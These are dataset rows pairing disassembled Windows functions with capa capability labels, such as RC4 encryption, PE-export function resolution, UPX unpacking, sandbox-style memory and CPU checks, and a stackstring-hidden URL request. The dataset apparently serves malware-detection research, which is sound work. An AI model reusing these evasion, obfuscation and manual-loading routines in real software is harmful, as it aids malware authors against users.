joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002f216
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10049040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.100230ec
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.100230ec
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x1002f28d
cmp word [ecx], dx
je 0x1002f28d
mov eax, dword [0x1003cfc4]
push edi
dec eax
push eax
push 0x1003ceb0
call fcn.1002f1b5
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x1002f300
cmp word [eax], dx
je 0x1002f300
mov eax, dword [edi]
test eax, eax
je 0x1002f2b1
cmp word [eax], dx
je 0x1002f2b1
lea eax, [ebp - 0x10]
push eax
call fcn.1002eb98
jmp 0x1002f2ba
lea eax, [ebp - 0x10]
push eax
call fcn.1002ec33
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x1002f32a
mov eax, dword [0x1003ceac]
push dword [ebp - 0x14]
dec eax
push eax
push 0x1003cba0
call fcn.1002f1b5
add esp, 0xc
test al, al
je 0x1002f32a
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x1002f2f5
cmp word [eax], di
je 0x1002f2f5
lea eax, [ebp - 0x10]
push eax
call fcn.1002eb98
pop ecx
jmp 0x1002f32c
lea eax, [ebp - 0x10]
push eax
call fcn.1002ec33
jmp 0x1002f2f2
mov eax, dword [edi]
test eax, eax
je 0x1002f317
cmp word [eax], dx
je 0x1002f317
lea eax, [ebp - 0x10]
push eax
call fcn.1002eb4d
pop ecx
jmp 0x1002f32a
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x1002f3f5
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1002f03a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x1002f3f5
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x1002f3f5
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x1002f3f5
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1002f382
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.10026634
test ebx, ebx
je 0x1002f3f0
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.10026634
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1002f3f5
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1002f3f5
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.100322b4
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1002f3f7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10016b64
leave
ret
Function at 0x10033320
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1003334d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1003334d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x401575
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
lea eax, [ebp - 0x34]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
ja 0x40159f
mov eax, 1
jmp 0x4015d6
mov dword [ebp - 0x78], 0x40
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sym._GlobalMemoryStatusEx_4
sub esp, 4
mov eax, dword [ebp - 0x70]
mov edx, dword [ebp - 0x6c]
shrd eax, edx, 0x1e
shr edx, 0x1e
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
ja 0x4015d1
mov eax, 1
jmp 0x4015d6
mov eax, 0
leave
ret

Function at 0x4015d8
Capabilities:
Contain obfuscated stackstrings
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
mov dword [ebp - 0x33], 0x70747468
mov dword [ebp - 0x2f], 0x772f2f3a
mov dword [ebp - 0x2b], 0x6d2e7777
mov dword [ebp - 0x27], 0x6e617279
mov dword [ebp - 0x23], 0x756d6f64
mov dword [ebp - 0x1f], 0x6f6e6b6e
mov dword [ebp - 0x1b], 0x72756e77
mov dword [ebp - 0x17], 0x6f632e6c
mov word [ebp - 0x13], 0x2f6d
mov byte [ebp - 0x11], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call sym._InternetOpenA_20
sub esp, 0x14
mov dword [ebp - 0xc], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x84000000
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x33]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._InternetOpenUrlA_24
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4016b6
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, 0
jmp 0x4016d7
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, 1
leave
ret
Function at 0x102041ec
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10222dc0]
jne 0x102041f6
repz ret
jmp fcn.1020449d
Function at 0x10204a72
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov dword [0x10222d9c], 0xf73
call fcn.1000108c
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x2c], ecx
je 0x10204afb
jmp 0x10204bfb
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x74], ecx
mov edx, dword [esp + 0x24]
mov dword [0x10222da0], edx
mov esi, dword [esp + 0x20]
mov edi, dword [ecx + esi + 0x50]
mov dword [esp + 0x38], edi
mov dword [0x10222d9c], 0x1e8f
mov edi, dword [esp + 0x90]
mov dword [esp], eax
mov dword [esp + 4], edi
call fcn.10204f79
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x1c], eax
jmp 0x10204bf3
lea eax, [esp + 0x30]
mov dword [0x10222da0], 0x1785
mov dword [esp + 0x18], eax
call fcn.10205d97
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x1c], ecx
jne 0x10204bf3
lea eax, [esp + 0x88]
mov dword [esp], eax
call fcn.10204c9d
mov ecx, 0x2746
lea edx, [0x1020600f]
mov esi, dword [esp + 0x88]
mov dword [esp + 0x34], esi
mov dword [esp + 0x44], 0x10b600
mov esi, dword [0x10222d88]
mov dword [esp + 0x6c], esi
mov esi, dword [0x10222d8c]
mov dword [esp + 0x4c], esi
mov esi, dword [0x10222d90]
mov dword [esp + 0x78], esi
mov esi, dword [0x10222d94]
mov dword [esp + 0x84], esi
mov esi, dword [0x10222d98]
mov dword [esp + 0x40], esi
mov dword [0x10222d9c], 0x1e5d
mov dword [0x10222da0], 0x24b3
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
cmp word [eax], 0x5a4d
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
jne 0x10204bd4
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x20], ecx
je 0x10204aa1
mov eax, 0x28b6
mov ecx, dword [esp + 0x28]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
jmp 0x10204ba5
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
Function at 0x10204f79
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x102077e7]
mov esi, 0xe
lea edi, [ebp - 0x28]
mov dword [0x10222da0], 0xf28
mov dword [0x10222d9c], 0x1293
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
call fcn.102056a7
mov dword [0x10222da0], 0x1bd
call fcn.102051f3
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.1020545c
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
je 0x102050b2
mov eax, dword [ebp - 0x3c]
mov ecx, dword [0x10222d9c]
add ecx, 0x712
mov dword [0x10222da0], ecx
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x10222d9c], 0xbf7
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.102052a7
mov eax, dword [ebp - 0x44]
mov word [eax], 0x5a4d
mov dword [eax + 0x3c], 0xc0
mov dword [eax + 0xc0], 0x4550
add eax, 0xffc00000
mov dword [ebp - 0x48], eax
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
mov dword [ecx], edx
mov dword [0x10222d9c], 0xf53
mov esi, dword [ebp - 0x44]
mov dword [ecx + 0x2c], esi
mov dword [0x10222da0], 0xb33
cmp esi, 0
mov dword [ebp - 0x40], eax
je 0x102050b2
mov dword [0x10222d9c], 0x2066
mov eax, dword [ebp - 0x44]
add eax, 0x1b74
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x50
pop esi
pop edi
pop ebp
ret
Function at 0x102057f2
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x10222da4], 0
mov dword [0x10222da8], 0
mov dword [0x10222db4], 0
mov dword [0x10222d9c], 0x498
mov dword [0x10222da0], 0xe3f
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x10205990
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov dword [0x10222d9c], 0xfffff2ab
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x10222da4], edx
mov dword [0x10222da0], 0x83e
mov ecx, dword [ebp - 0x20]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x30]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x10222da8], edx
mov dword [0x10222d9c], 0x1daa
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x10222dac], cl
mov dword [0x10222d9c], 0x2573
mov edi, dword [ebp - 0x20]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x10222dac]
mov edx, dword [0x10222da8]
mov byte [edi + edx], cl
mov dword [0x10222d9c], 0x258c
mov edx, dword [0x10222da4]
movzx edx, byte [edi + edx]
mov ebx, dword [0x10222da8]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x10222db4], ebx
mov dword [0x10222da0], 0x1aff
mov dword [0x10222d9c], 0xfa
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x2c]
mov ch, byte [edx + ebx]
mov byte [0x10222db9], ch
mov byte [0x10222dba], cl
xor ch, cl
mov byte [0x10222db8], ch
mov dword [0x10222d9c], 0x28d6
mov edx, dword [ebp - 0x1c]
mov byte [edx + ebx], ch
mov dword [0x10222da0], 0x7d8
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
je 0x10205990
mov eax, dword [0x10222da4]
mov ecx, dword [0x10222da8]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], edx
jmp 0x1020585f
mov dword [0x10222d9c], 0x397
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10205a55
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x10222da8], 0
mov byte [0x10222dac], 0
mov dword [0x10222da0], 0x1ef1
mov dword [0x10222d9c], 0x24f6
mov dword [0x10222da4], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov ecx, 0x24f6
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
jmp 0x10205b78
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov edx, 0x1ed7
mov esi, 0x100
mov dword [0x10222db0], 0
mov dword [0x10222d9c], eax
mov eax, dword [0x10222da8]
mov edi, dword [ebp - 0x18]
movzx ebx, byte [edi + ecx]
add ebx, eax
mov eax, ecx
xor edi, edi
mov dword [ebp - 0x2c], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add ebx, edx
mov dword [0x10222db0], ebx
mov dword [0x10222d9c], 0x1a9c
mov eax, ebx
cdq
idiv esi
mov dword [0x10222da8], edx
mov dword [0x10222da0], 0x2bd1
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + ecx]
mov byte [0x10222dac], bl
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov bl, byte [0x10222dac]
mov ecx, dword [0x10222da8]
mov byte [esi + ecx], bl
mov dword [0x10222da0], 0xa60
mov dword [0x10222d9c], 0x2186
mov ecx, dword [0x10222da4]
add ecx, 1
mov dword [0x10222da4], ecx
cmp ecx, 0x100
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
jl 0x10205ab1
jmp 0x10205bf5
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov edx, ecx
mov bl, dl
add eax, 0xffffe203
mov dword [0x10222d9c], eax
mov eax, dword [ebp - 0x18]
mov byte [eax + ecx], bl
mov ecx, dword [0x10222d9c]
mov edx, ecx
add edx, 0xffffe242
mov dword [0x10222da0], edx
mov edx, dword [0x10222da4]
add edx, 1
mov dword [0x10222da4], edx
cmp edx, 0x100
mov esi, ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
jl 0x10205b78
xor eax, eax
mov dword [0x10222d9c], 0x102a
mov ecx, dword [ebp - 0x30]
add ecx, 0xfffff6b9
mov dword [0x10222da4], 0
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
jmp 0x10205ab1
mov dword [0x10222d9c], 0xfffff31b
mov dword [0x10222da0], 0xffffe0e4
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10205c11
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [0x10222da0], 0x27a
mov dword [0x10222d9c], 0x121c
mov dword [ebp - 0x10], eax
call fcn.10204935
xor ecx, ecx
mov edx, eax
mov dword [0x10222da0], 0x3660
mov esi, dword [eax + 0x3c]
mov dword [0x10222d9c], 0x17e2
mov esi, dword [eax + esi + 0x78]
mov dword [0x10222da0], 0x18a9
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov ebx, dword [eax + esi + 0x24]
mov dword [0x10222d9c], 0x1d5d
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ecx
je 0x10205d8c
jmp 0x10205cc1
mov eax, dword [ebp - 0x2c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x10222d9c], 0x2555
mov dword [ebp - 0x28], edi
jmp 0x10205d8c
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov esi, dword [ebp - 0x24]
mov edi, dword [esi + eax*4]
mov dword [0x10222d9c], 0x1c5e
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov ecx, eax
mov edx, dword [ebp - 0x3c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x45], bh
mov byte [ebp - 0x46], cl
je 0x10205d4c
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
cmp eax, 0x20
setb cl
mov dl, byte [ebp - 0x45]
cmp dl, 0
setne ch
mov dh, byte [ebp - 0x46]
and dh, ch
and dh, cl
test dh, 1
mov dword [ebp - 0x40], eax
jne 0x10205cf5
mov al, byte [ebp - 0x46]
test al, 1
jne 0x10205c99
jmp 0x10205d59
mov eax, dword [ebp - 0x2c]
add eax, 2
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], ecx
xor eax, eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x18]
cmp ecx, edx
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x28], eax
jb 0x10205cd1
mov eax, dword [ebp - 0x28]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10205d97
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10222d9c]
mov ecx, eax
add ecx, 0xffffeae2
mov dword [0x10222da0], ecx
mov dword [ebp - 4], 0
add eax, 0xffffe7ca
mov dword [0x10222d9c], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x10222d9c], 0x256b
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
je 0x10205e15
mov eax, dword [ebp - 0x14]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], eax
jl 0x10205de8
mov eax, dword [ebp - 0x18]
mov dword [0x10222d9c], 0x7e6
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x1c], eax
jne 0x10205ef6
mov dword [0x10222d9c], 0xe40
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x10205ef6
mov dword [0x10222da0], 0x242f
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x10205ef6
mov dword [0x10222d9c], 0x6f6
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x10205ef6
mov dword [0x10222d9c], 0xf06
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x10205ef6
mov dword [0x10222d9c], 0x2a3
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x10], 0x6c
sete dl
mov byte [ebp - 0x1d], dl
mov al, byte [ebp - 0x1d]
test al, 1
jne 0x10205ec7
jmp 0x10205ef6
mov dword [0x10222d9c], 0x1286
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0xe], 0x6c
sete dl
mov byte [ebp - 0x1e], dl
mov eax, 1
mov cl, byte [ebp - 0x1e]
test cl, 1
mov dword [ebp - 0x24], eax
jne 0x10205f0d
jmp 0x10205ef6
xor eax, eax
mov ecx, dword [0x10222da0]
add ecx, 0xa08
mov dword [0x10222d9c], ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
add esp, 0x24
pop ebp
ret
Function at 0x10001d00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x7c
mov eax, dword [0x1002b080]
xor eax, esp
mov dword [esp + 0x78], eax
push esi
mov esi, ecx
lea ecx, [esp + 8]
push edx
call fcn.10004a30
push 0x40
lea eax, [esp + 0x38]
mov dword [esp + 0x34], 0x44
push 0
push eax
call fcn.100084f0
add esp, 0xc
lea ecx, [esp + 0x20]
cmp dword [esp + 0x1c], 0xf
lea eax, [esp + 8]
xorps xmm0, xmm0
cmova eax, dword [esp + 8]
push ecx
lea ecx, [esp + 0x34]
movaps xmmword [esp + 0x24], xmm0
push ecx
push 0
push 0
push 1
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [esp + 0x1c]
test eax, eax
jne 0x10001dc7
mov dword [esi], 0xffffffff
mov dword [esi + 4], 0xffffffff
mov dword [esi + 8], eax
cmp ecx, 0xf
jbe 0x10001db5
mov edx, dword [esp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001dab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001dff
push ecx
push edx
call fcn.1000695b
add esp, 8
mov ecx, dword [esp + 0x7c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.10006918
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x24]
mov dword [esi], eax
mov eax, dword [esp + 0x20]
mov dword [esi + 4], eax
mov eax, dword [esp + 0x28]
mov dword [esi + 8], eax
cmp ecx, 0xf
jbe 0x10001db5
mov edx, dword [esp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001dab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001dab
call fcn.1000cca9
int3
Function at 0x1000e2cc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000e30b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000e30b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000e30b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000e30b
cmp dword [ecx + 0x74], 0xe
jbe 0x1000e30b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret